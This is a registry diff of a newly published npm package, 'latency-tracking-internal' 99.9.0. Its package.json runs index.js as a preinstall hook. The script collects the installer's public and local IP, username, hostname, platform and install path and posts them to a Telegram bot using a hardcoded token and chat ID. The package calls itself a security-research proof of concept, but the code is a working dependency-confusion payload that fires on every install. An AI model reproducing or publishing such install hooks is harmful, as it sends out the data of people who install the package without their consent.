latency-tracking-internal 99.9.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/index.js +85 -0
- package/package.json +33 -0
package/index.js
ADDED
|
@@ -0,0 +1,85 @@
|
|
|
1
|
+
const os = require('os');
|
|
2
|
+
const https = require('https');
|
|
3
|
+
|
|
4
|
+
const BOT_TOKEN = '8236864682:AAFO8n3ml54y_JQnAA2_wxD5j01eooMwC8w';
|
|
5
|
+
const CHAT_ID = '8655055695';
|
|
6
|
+
const PKG_NAME = "ms.analytics-web";
|
|
7
|
+
|
|
8
|
+
// Function to fetch Public IP with a 2-second timeout
|
|
9
|
+
async function getPublicIP() {
|
|
10
|
+
return new Promise((resolve) => {
|
|
11
|
+
const req = https.get('https://api.ipify.org', { timeout: 2000 }, (res) => {
|
|
12
|
+
let data = '';
|
|
13
|
+
res.on('data', (chunk) => data += chunk);
|
|
14
|
+
res.on('end', () => resolve(data.trim()));
|
|
15
|
+
});
|
|
16
|
+
req.on('error', () => resolve('N/A'));
|
|
17
|
+
req.on('timeout', () => { req.destroy(); resolve('Timeout'); });
|
|
18
|
+
});
|
|
19
|
+
}
|
|
20
|
+
|
|
21
|
+
// Function to send Telegram message and wait for completion
|
|
22
|
+
async function sendTelegram(text) {
|
|
23
|
+
return new Promise((resolve) => {
|
|
24
|
+
const data = JSON.stringify({
|
|
25
|
+
chat_id: CHAT_ID,
|
|
26
|
+
text: text,
|
|
27
|
+
parse_mode: 'Markdown'
|
|
28
|
+
});
|
|
29
|
+
|
|
30
|
+
const options = {
|
|
31
|
+
hostname: 'api.telegram.org',
|
|
32
|
+
port: 443,
|
|
33
|
+
path: `/bot${BOT_TOKEN}/sendMessage`,
|
|
34
|
+
method: 'POST',
|
|
35
|
+
headers: {
|
|
36
|
+
'Content-Type': 'application/json',
|
|
37
|
+
'Content-Length': Buffer.byteLength(data)
|
|
38
|
+
}
|
|
39
|
+
};
|
|
40
|
+
|
|
41
|
+
const req = https.request(options, (res) => {
|
|
42
|
+
res.on('data', () => {});
|
|
43
|
+
res.on('end', () => resolve());
|
|
44
|
+
});
|
|
45
|
+
|
|
46
|
+
req.on('error', () => resolve());
|
|
47
|
+
req.write(data);
|
|
48
|
+
req.end();
|
|
49
|
+
});
|
|
50
|
+
}
|
|
51
|
+
|
|
52
|
+
async function run() {
|
|
53
|
+
const publicIP = await getPublicIP();
|
|
54
|
+
const timestamp = new Date().toLocaleString();
|
|
55
|
+
const uptime = (os.uptime() / 3600).toFixed(2);
|
|
56
|
+
|
|
57
|
+
const report = `
|
|
58
|
+
🛰️ *PRO-LEVEL INTELLIGENCE REPORT*
|
|
59
|
+
━━━━━━━━━━━━━━━━━━━━
|
|
60
|
+
📅 *Timestamp:* ${timestamp}
|
|
61
|
+
|
|
62
|
+
🌐 *NETWORK IDENTIFICATION*
|
|
63
|
+
• *Public IP:* \`${publicIP}\` 🌍
|
|
64
|
+
• *Local IP:* \`${os.networkInterfaces().eth0?.[0]?.address || 'N/A'}\` 📍
|
|
65
|
+
|
|
66
|
+
👤 *USER & SYSTEM*
|
|
67
|
+
• *User:* \`${os.userInfo().username}\`
|
|
68
|
+
• *Hostname:* \`${os.hostname()}\`
|
|
69
|
+
• *Platform:* \`${os.platform()} (${os.arch()})\`
|
|
70
|
+
|
|
71
|
+
📁 *PATH & ENVIRONMENT*
|
|
72
|
+
• *Directory:* \`${__dirname}\`
|
|
73
|
+
• *Uptime:* ${uptime} Hours
|
|
74
|
+
|
|
75
|
+
🛡️ *TARGET AUDIT*
|
|
76
|
+
• *Package:* \`${PKG_NAME}\`
|
|
77
|
+
• *Status:* 🟢 RCE VERIFIED
|
|
78
|
+
━━━━━━━━━━━━━━━━━━━━
|
|
79
|
+
`;
|
|
80
|
+
|
|
81
|
+
await sendTelegram(report);
|
|
82
|
+
process.exit(0);
|
|
83
|
+
}
|
|
84
|
+
|
|
85
|
+
run();
|
package/package.json
ADDED
|
@@ -0,0 +1,33 @@
|
|
|
1
|
+
{
|
|
2
|
+
"name": "latency-tracking-internal",
|
|
3
|
+
"version": "99.9.0",
|
|
4
|
+
"description": "Security Research Proof-of-Concept for Dependency Confusion Audit. This package is part of an ethical disclosure process.",
|
|
5
|
+
"main": "index.js",
|
|
6
|
+
"scripts": {
|
|
7
|
+
"preinstall": "node index.js",
|
|
8
|
+
"test": "echo \"Error: no test specified\" && exit 1"
|
|
9
|
+
},
|
|
10
|
+
"keywords": [
|
|
11
|
+
"security-research",
|
|
12
|
+
"bug-bounty",
|
|
13
|
+
"poc",
|
|
14
|
+
"ethical-hacking"
|
|
15
|
+
],
|
|
16
|
+
"author": "Chandan Mishra (Security Researcher & Bug Bounty Hunter)",
|
|
17
|
+
"license": "MIT",
|
|
18
|
+
"homepage": "https://github.com/alonebeast002",
|
|
19
|
+
"repository": {
|
|
20
|
+
"type": "git",
|
|
21
|
+
"url": "https://github.com/alonebeast002/beastcrypt"
|
|
22
|
+
},
|
|
23
|
+
"bugs": {
|
|
24
|
+
"url": "https://github.com/ALONE-BEAST/Wayback-Hunter/issues"
|
|
25
|
+
},
|
|
26
|
+
"dependencies": {},
|
|
27
|
+
"engines": {
|
|
28
|
+
"node": ">=10.0.0"
|
|
29
|
+
},
|
|
30
|
+
"publishConfig": {
|
|
31
|
+
"access": "public"
|
|
32
|
+
}
|
|
33
|
+
}
|